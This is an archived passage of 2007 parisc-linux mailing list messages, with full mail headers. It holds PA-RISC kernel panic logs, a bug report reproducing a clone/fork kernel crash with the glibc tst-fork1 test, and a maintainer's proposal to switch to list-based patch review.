       .init : 0x104f4000 - 0x1052f000   ( 236 kB)
       .data : 0x10395704 - 0x1047c000   ( 922 kB)
       .text : 0x10100000 - 0x10395704   (2645 kB)
Mount-cache hash table entries: 512
Brought up 1 CPUs
NET: Registered protocol family 16
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
7. Forte W+ 2w at 0xfffa0000 [32] { 0, 0x0, 0x5d1, 0x00004 }
8. Forte W+ 2w at 0xfffa2000 [34] { 0, 0x0, 0x5d1, 0x00004 }
9. Memory at 0xfed10200 [49] { 1, 0x0, 0x09e, 0x00009 }
Enabling regular chassis codes support v0.05
Releasing cpu 1 now, hpa=fffa2000
FP[1] enabled: Rev 1 Model 16
migration_cost=4000
CPU(s): 2 x PA8600 (PCX-W+) at 552.000000 MHz
Setting cache flush threshold to 800 (2 CPUs online)
SBA found Astro 2.1 at 0xfed00000
Elroy version TR4.0 (0x5) found at 0xfed30000
PCI: Enabled native mode for NS87415 (pif=0x8f)
Elroy version TR4.0 (0x5) found at 0xfed32000
Elroy version TR4.0 (0x5) found at 0xfed34000
Elroy version TR4.0 (0x5) found at 0xfed38000
Elroy version TR4.0 (0x5) found at 0xfed3c000
Generic PHY: Registered new driver
SCSI subsystem initialized
usbcore: registered new interface driver usbfs
usbcore: registered new interface driver hub
usbcore: registered new device driver usb
NET: Registered protocol family 2
IP route cache hash table entries: 32768 (order: 5, 131072 bytes)
TCP established hash table entries: 131072 (order: 8, 1572864 bytes)
TCP bind hash table entries: 65536 (order: 7, 524288 bytes)
TCP: Hash tables configured (established 131072 bind 65536)
TCP reno registered
Enabling PDC chassis warnings support v0.05
unwind_init: start = 0x103f6580, end = 0x1041d970, entries = 10047
io scheduler noop registered
io scheduler anticipatory registered (default)
io scheduler deadline registered
io scheduler cfq registered
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 20)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
PDC Stable Storage facility v0.30
Soft power switch enabled, polling @ 0xf0400804.
STI GSC/PCI core graphics driver Version 0.9a
fb: 3Dfx Voodoo3 memory = 16384K
Console: switching to colour frame buffer device 80x30
Generic RTC Driver v1.07
ipmi message handler version 39.0
ipmi device interface
IPMI System Interface driver.


Backtrace:
  [<104f987c>] smp_callin+0x178/0x18c
  [<1010024c>] smp_callin_rtn+0x0/0xc
  [<10238ed0>] memcpy+0x20/0x30
  [<10194e24>] d_rehash+0x34/0x50
  [<10104088>] __mutex_unlock_slowpath+0xc8/0x14c
  [<10195fb4>] dput+0x2c/0x1c4
  [<1019b664>] mntput_no_expire+0x2c/0xe4
  [<1018c8c4>] __link_path_walk+0x142c/0x1474
  [<1018cb38>] link_path_walk+0x22c/0x250
  [<1018d2d4>] do_path_lookup+0x4fc/0x540
  [<1018df24>] __path_lookup_intent_open+0x94/0xb0
  [<1018dfd8>] path_lookup_open+0x18/0x24
  [<10185e88>] open_exec+0x30/0xec
  [<10187b2c>] do_execve+0x270/0x298
  [<10127244>] try_to_wake_up+0x33c/0x3dc
  [<101029cc>] schedule+0x894/0xa14


High Priority Machine Check (HPMC): Code=1 regs=1042b080 (Addr=00000000)

      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001111 Not tainted
r00-03  0004000f 1047b500 10113c98 00000001
r04-07  0047c000 f0400008 000000fa f0002f68
r08-11  00000004 00000000 0004000e 104f9708
r12-15  000000f2 00000001 00000001 000000f3
r16-19  02020202 00000002 f000016c 10fa2930
r20-23  1047b508 0000000f 00000000 00000002
r24-27  00000000 10fb8000 10438080 1041f010
r28-31  00000010 0000011c 10fb8100 101028ac
sr00-03  00000000 00000000 00000000 00000000
sr04-07  00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10113c80 10113c84
  IIR: 03c008bc    ISR: 00000000  IOR: 00000000
  CPU:        1   CR30: 10fb8000 CR31: ffffffff
  ORIG_R28: 00000000
  IAOQ[0]: cpu_idle+0x5c/0x78
  IAOQ[1]: cpu_idle+0x60/0x78
  RP(r2): cpu_idle+0x74/0x78
Kernel panic - not syncing: High Priority Machine Check (HPMC)



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RFC] Clone and fork considered dangerous from
	2.6.12 to 2.6.20, testers needed.
Date: Thu, 15 Feb 2007 19:44:12 +0100
Lines: 242
Approved: news@gmane.org
Message-ID: <20070215194412.a8957aab.gmsoft__21608.9461850517$1416624289$gmane$org@gentoo.org>
References: <119aab440702121832m35ca5141x31d881856810ba92@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624289 22758 80.91.229.3 (22 Nov 2014 02:44:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:49 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 15 Feb 2007 18:44:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 15 Feb 2007 19:44:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7FC417DACD;
	Thu, 15 Feb 2007 11:44:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02053-01; Thu, 15 Feb 2007 11:44:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 949057DABC;
	Thu, 15 Feb 2007 11:44:33 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ABB1A7DAB7
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Feb 2007 11:44:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01769-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Feb 2007 11:44:24 -0700 (MST)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 2AA8E7DAB6
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Feb 2007 11:44:23 -0700 (MST)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP
	id D155FEB80E; Thu, 15 Feb 2007 19:44:21 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP
	id 239BE2FD39; Thu, 15 Feb 2007 19:44:20 +0100 (CET)
Original-Received: from bleh.bxl.tuxicoman.be ([2001:6f8:310:300:213:d4ff:fe5c:bd4f])
	by ibiza.bxl.tuxicoman.be with smtp (Exim 4.62)
	(envelope-from <gmsoft@gentoo.org>)
	id 1HHla9-0005gy-5j; Thu, 15 Feb 2007 19:43:49 +0100
In-Reply-To: <119aab440702121832m35ca5141x31d881856810ba92@mail.gmail.com>
X-Mailer: Sylpheed 2.3.0 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: esa/LSs+TlIv7beQeGhrHJJGU2poZdnK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24328


Hi Carlos,

I did the test and I was not able to kernel panic with either my own build or the static file.
It never hanged at a 'for' line but did hanged in the two other around one time out of three.

My setup :
 - kernel-2.6.20-git from 13/02/2007 + your patch for pselect + my fstat64 patch reported in another email
 - glibc-2.5 with same patchset as my previous email
 - binutils-2.17.50.0.12
 - gcc-4.1.1-r3 with mfctl,w fix
 - c3600


However it did crash the kernel at run time with both builds after several kill.
The system was first slowly responsive for one or two secs and then it became frozen.

The output was the following :

 - with tst-fork1-static

[159429.070000]       _______________________________
[159429.070000]      < Your System ate a SPARC! Gah! >                       
[159429.070000]       -------------------------------                        
[159429.070000]              \   ^__^                                        
[159429.070000]               \  (xx)\_______                                
[159429.070000]                  (__)\       )\/\                            
[159429.070000]                   U  ||----w |                               
[159429.070000]                      ||     ||                               
[159429.488000] tst-fork1-stati (pid 22017): Protection id trap (code 27)    
[159429.566000]                                                              
[159429.585000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                        
[159429.642000] PSW: 00000000000001001111111100001111 Not tainted            
[159429.712000] r00-03  0004ff0f 10380000 000aadac 41800280                  
[159429.776000] r04-07  00000003 000aad98 41800310 00005606                  
[159429.839000] r08-11  0000000e deadbeef 000000fb fffff000                  
[159429.903000] r12-15  000000fb 00000007 000a7e10 00000000                  
[159429.967000] r16-19  000a5610 fb541298 000103f8 00000002                  
[159430.030000] r20-23  00000000 000003e4 00029e5c 00000000                  
[159430.094000] r24-27  00000002 00000003 000aadac 000a5610                  
[159430.157000] r28-31  00000003 00000000 418003c0 0002da3b                  
[159430.221000] sr00-03  0001daa1 00000000 00000000 0001daa1                 
[159430.286000] sr04-07  0001daa1 0001daa1 0001daa1 0001daa1                 
[159430.351000]                                                              
[159430.369000] IASQ: 00000000 00000000 IAOQ: 000003ec 000003f0              
[159430.437000]  IIR: 0f58d280    ISR: 0001daa1  IOR: 000aadac               
[159430.504000]  CPU:        0   CR30: 4a12c000 CR31: 104ec000               
[159430.571000]  ORIG_R28: 00000002                                          
[159430.609000]  IAOQ[0]: 0x3ec                                              
[159430.644000]  IAOQ[1]: 0x3f0                                              
[159430.678000]  RP(r2): nlm4svc_callback_ops+0x604/0xffffff90 [lockd]       
[159430.754000] Backtrace:                                                   
[159430.783000]  [<10106c74>] die_if_kernel+0x130/0x198                      
[159430.843000]  [<10107150>] handle_interruption+0x474/0x644                
[159430.908000]  [<1010a080>] intr_check_sig+0x0/0x34                        
[159430.966000]                                                              
[159430.985000]       _______________________________                        
[159430.985000]      < Your System ate a SPARC! Gah! >                       
[159430.985000]       -------------------------------                        
[159430.985000]              \   ^__^                                        
[159430.985000]               \  (xx)\_______                                
[159430.985000]                  (__)\       )\/\                            
[159430.985000]                   U  ||----w |                               
[159430.985000]                      ||     ||                               
[159431.403000] tst-fork1-stati (pid 22017): Protection id trap (code 27)    
[159431.481000] die_if_kernel() recursion detected.                          
[159441.482000] BUG: soft lockup detected on CPU#0!                          
[159441.482000] Backtrace:                                                   
[159441.482000]  [<1012d458>] update_process_times+0x44/0x7c                 
[159441.482000]  [<101074cc>] timer_interrupt+0x108/0x14c                    
[159441.482000]  [<101448fc>] handle_specific_irq_timer+0x48/0x80            
[159441.482000]  [<101079a4>] do_cpu_irq_mask+0xd0/0x110                     
[159441.482000]  [<1010a068>] intr_return+0x0/0xc                            
[159441.482000]

 - with tst-fork1

[4294874.057000]       _______________________________                       
[4294874.057000]      < Your System ate a SPARC! Gah! >                      
[4294874.057000]       -------------------------------                       
[4294874.057000]              \   ^__^                                       
[4294874.057000]               \  (xx)\_______                               
[4294874.057000]                  (__)\       )\/\                           
[4294874.057000]                   U  ||----w |                              
[4294874.057000]                      ||     ||                              
[4294874.483000] tst-fork1 (pid 3773): Protection id trap (code 27)          
[4294874.555000]                                                             
[4294874.575000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                       
[4294874.633000] PSW: 00000000000001101111111100001111 Not tainted           
[4294874.704000] r00-03  0006ff0f 10380000 40504acf 415b5280                 
[4294874.769000] r04-07  00000004 405b3a5c 415b5310 deadbeef                 
[4294874.834000] r08-11  0000000e 000000fb deadbeef 00000ec2                 
[4294874.898000] r12-15  deadbeef 40172e30 fffff000 00000007                 
[4294874.963000] r16-19  00000000 fb6c10d8 00012216 405b13a4                 
[4294875.028000] r20-23  00000000 000003e4 405aeea8 00000000                 
[4294875.092000] r24-27  00000003 00000004 405b3a5c 00012208                 
[4294875.157000] r28-31  00000004 00000003 415b53c0 40504b0b                 
[4294875.222000] sr00-03  000009d3 00000000 00000000 000009d3                
[4294875.287000] sr04-07  000009d3 000009d3 000009d3 000009d3                
[4294875.353000]                                                             
[4294875.373000] IASQ: 00000000 00000000 IAOQ: 000003ec 000003f0             
[4294875.442000]  IIR: 0f58d280    ISR: 000009d3  IOR: 405b3a5c              
[4294875.510000]  CPU:        0   CR30: 4e178000 CR31: 104ec000              
[4294875.578000]  ORIG_R28: 00000002                                         
[4294875.617000]  IAOQ[0]: 0x3ec                                             
[4294875.653000]  IAOQ[1]: 0x3f0                                             
[4294875.688000]  RP(r2): 0x40504acc                                         
[4294875.728000] Backtrace:                                                  
[4294875.758000]  [<10106c74>] die_if_kernel+0x130/0x198                     
[4294875.819000]  [<10107150>] handle_interruption+0x474/0x644               
[4294875.886000]  [<1010a080>] intr_check_sig+0x0/0x34                       
[4294876.003000]       _______________________________                       
[4294876.003000]      < Your System ate a SPARC! Gah! >                      
[4294876.003000]       -------------------------------                       
[4294876.003000]              \   ^__^                                       
[4294876.003000]               \  (xx)\_______                               
[4294876.003000]                  (__)\       )\/\                           
[4294876.003000]                   U  ||----w |                              
[4294876.003000]                      ||     ||                              
[4294876.429000] tst-fork1 (pid 3772): Protection id trap (code 27)          
[4294876.501000]                                                             
[4294876.521000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                       
[4294876.579000] PSW: 00000000000001100000000000001111 Not tainted           
[4294876.650000] r00-03  0006000f 10492248 00000001 00000000                 
[4294876.715000] r04-07  4fec9ae8 00000020 00000000 40176bc6                 
[4294876.780000] r08-11  00000000 4fec8948 4fec9ba8 40db521c                 
[4294876.844000] r12-15  00000004 00000000 00000ec1 00000007                 
[4294876.909000] r16-19  00000000 fb6c10d4 00012216 4f0816c0                 
[4294876.974000] r20-23  4f0816c0 00000600 00000041 00000001                 
[4294877.038000] r24-27  00000000 00000000 00000000 1044a010                 
[4294877.103000] r28-31  00000001 00000002 4e07c1c0 00000000                 
[4294877.168000] sr00-03  000009d5 00000000 00000000 000009d5                
[4294877.233000] sr04-07  00000000 00000000 00000000 00000000                
[4294877.299000]                                                             
[4294877.319000] IASQ: 00000000 00000000 IAOQ: 101258b4 101258b8             
[4294877.388000]  IIR: 0d75d280    ISR: 000009d5  IOR: 40db521c              
[4294877.456000]  CPU:        0   CR30: 4e07c000 CR31: 104ec000              
[4294877.523000]  ORIG_R28: 4e62ff44                                         
[4294877.563000]  IAOQ[0]: do_wait+0x5cc/0xae4                               
[4294877.613000]  IAOQ[1]: do_wait+0x5d0/0xae4                               
[4294877.664000]  RP(r2): 0x0                                                
[4294877.696000] Backtrace:                                                  
[4294877.726000]  [<10106c74>] die_if_kernel+0x130/0x198                     
[4294877.787000]  [<10107150>] handle_interruption+0x474/0x644               
[4294877.854000]  [<1010a080>] intr_check_sig+0x0/0x34                       
[4294877.912000]                                                             
[4294877.932000]       _______________________________                       
[4294877.932000]      < Your System ate a SPARC! Gah! >                      
[4294877.932000]       -------------------------------                       
[4294877.932000]              \   ^__^                                       
[4294877.932000]               \  (xx)\_______                               
[4294877.932000]                  (__)\       )\/\                           
[4294877.932000]                   U  ||----w |                              
[4294877.932000]                      ||     ||                              
[4294878.359000] tst-fork1 (pid 3772): Protection id trap (code 27)          
[4294878.430000] die_if_kernel() recursion detected.                         
[4294888.431000] BUG: soft lockup detected on CPU#0!                         
[4294888.431000] Backtrace:                                                  
[4294888.431000]  [<1012d458>] update_process_times+0x44/0x7c                
[4294888.431000]  [<101074cc>] timer_interrupt+0x108/0x14c                   
[4294888.431000]  [<101448fc>] handle_specific_irq_timer+0x48/0x80           
[4294888.431000]  [<101079a4>] do_cpu_irq_mask+0xd0/0x110                    
[4294888.431000]  [<1010a068>] intr_return+0x0/0xc

I've checked and all my sparc are in the basement. So it's not one of mine's fault :)

My K410 being dead and me too lazy to replace the mainboard, I can't test on it.

Let me know if you need more testing/info.

Cheers,
  Guy



On Mon, 12 Feb 2007 21:32:22 -0500
"Carlos O'Donell" <carlos@systemhalted.org> wrote:

> Sporadically when running the glibc test "tst-fork1" under 2.6.20 on a
> 64-bit kernel the parent process' threads stop running on the CPU, the
> time running for each thread increments, but stepping instructions
> e.g. gdb "si", never causes any execution
> 
> So far, each thread has been stuck in the delay slot of a branch,
> usually just after returning from the clone syscall. I see a couple of
> places in the kernel where we clear the PSW_B bit, but none seem to
> trigger this type of behaviour.
> 
> Luckily I can reproduce the behaviour at will with the following
> testcase. This test causes all sorts of nastiness for as old a kernel
> as I could test, starting with 2.6.12 for either 32 or 64-bit.
> 
> Steps to reproduce:
> 
> A. Download http://www.parisc-linux.org/~carlos/tst-fork1.tar.bz2
> B. Unpack tst-fork1.tar.bz2.
> 
> 1. Boot a recent 2.6.20 kernel on a 32 or 64-bit box.
> 2. Recompiple tst-fork1 with: gcc -lpthread -o tst-fork1 tst-fork1.c
> 3. Run "./tst-fork1 >& run.log" until the test blocks.
> 4. Try to use "kill -9" to remove all "tst-fork1" threads.
> 5. Watch your kernel die with a null pointer dereference in
> __wake_up_common indicating that there was some process list
> corruption. On older 32-bit kernels you make get "Slab corruption"
> warnings.
> 
> OR use a prebuilt static NPTL version:
> 
> 1. Boot a recent 2.6.20 kernel on a 32 or 64-bit box.
> 2. Run "./tst-fork1-static >& run.log" until the test blocks.
> 3. Determine the parent pid e.g. "pgrep tst-fork1-static"
> 4. Determine the tid of any child e.g. "ls -alt /proc/$ppid/task/*"
> 5. Start gdb.
> 6. In gdb issue "attach $tid"
> 7. Issue a "bt" to view the current pc, then issue "si" to step.
> 8. Issue a "dissasemble" to verify that pc is stuck in a branch delay slot.
> 9. Type CTRL+C to stop the process again, issue "bt" to  see nothing changed.
> 10. Force the pc to the next instruction e.g. "set $pcoqh = 0x????"
> where ???? is the address of the next instruction.
> 11. Type "continue" and watch your kernel die, or lockup, always
> printing "die_if_kernel() recursion detected." before dying.
> 
> If others could verify similar behaviour on different hardware that
> would be great.
> 
> Cheers,
> Carlos.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


-- 
Guy Martin
Gentoo Linux - HPPA port lead
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kyle mcmartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Let's Try Something New(tm)
Date: Sat, 17 Feb 2007 01:46:48 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <20070217064648.GA2880__37789.6330006935$1416624290$gmane$org@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624290 22760 80.91.229.3 (22 Nov 2014 02:44:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Feb 2007 06:47:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 17 Feb 2007 07:47:21 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EC9957DA38;
	Fri, 16 Feb 2007 23:47:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13312-09; Fri, 16 Feb 2007 23:47:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B68EA7DA3A;
	Fri, 16 Feb 2007 23:47:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3AA737DA37
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Feb 2007 23:47:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13387-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Feb 2007 23:47:08 -0700 (MST)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 673507DA35
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 16 Feb 2007 23:47:08 -0700 (MST)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 28AF25840CF
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 01:47:07 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 29044584095
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 01:47:06 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca
	[206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca",
	Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id BC706837DB
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 17 Feb 2007 01:47:05 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 567D53B06E; Sat, 17 Feb 2007 01:46:48 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lMm0ESFLbXBt87qHPTQ2x9UqLyUmZcjN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24329

So I just finally got around to trying to organize a bit of the chaos
we have in our "git"[1] tree so that it can be sent along to Linus[2].

And, well, I'm kind of getting sick of it. I propose for at least the next
few months, instead of everyone being able to pollute the shared tree, they
keep all their work in branches. Instead of merging or pushing, or whatever,
you can send the patches to the list for review. This will work more or less
like linux-kernel does, hopefully. 

Your patch will get an ACK or NAK from others here, and I'll directly
merge the mail into my git tree, instead of waiting until there's an aperture
of Minimal Kyle Apathy[3] and having to sync up a pile of junk[4].

The goal here is n-fold, where n is determined by the number of points I'm
able to rattle off here and will neglect to update when I finish:

1. Reduce the number of commits and reversions because someone didn't like
   the change. Instead, we can all comment together. Yay. Blissful harmony.

2. Reduce the number of brown paper bag bugs, which mean I have to fold
   multiple changesets together. Annoying.

e. Increase our use of the idea of merges and changesets to form a real
   tree, instead of just blatting everything into a linear shared tree.

pi. Reduce the amount of half-baked commits, not to pick on Helge, but
   the ENTRY macros were a good example of this. I count 4 commits just to
   add these macros.

Anyway, hopefully this will reduce the amount of shit I have to filter
through in order to sync up to Linus, and maybe we can actually merge more
than once per cycle, and have proper bugfixes, and such. Wouldn't it be nice?

Objections? Tomatoes?

The Last Word(tm):
	Well. It works for everyone else. Why should we be special?

[01:41] * kyle falls off the pulpit.

Footnotes:
1: Frankly I find this shared git tree thing to be a huge waste of my time,
   we're no better off than we were with CVS...

2: Don't know what difference it makes having a buildable tree when SMP
   is utterly broken, and SCSI offlines devices left, right and centre when
   you're trying to get some work done... So yeah, you could say I'm a little
   unmotivated to care.

3: Apathy was pretty high right now, but I'm bored, and it is Friday night.
   That and Jeff asked real nice for me to get the Ubuntu kernel tree
   somewhat up to date so he can do glibc work.

4: Yeah, most of you know way better than me, and write far less shite code
   than I do. But I'm the one having to do the merging.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Let's Try Something New(tm)
Date: Sat, 17 Feb 2007 03:30:18 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20070217103018.GD26273__15923.8212895163$1416624290$gmane$org@colo.lackof.org>
References: <20070217064648.GA2880@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624290 22762 80.91.229.3 (22 Nov 2014 02:44:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: kyle mcmartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:38 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
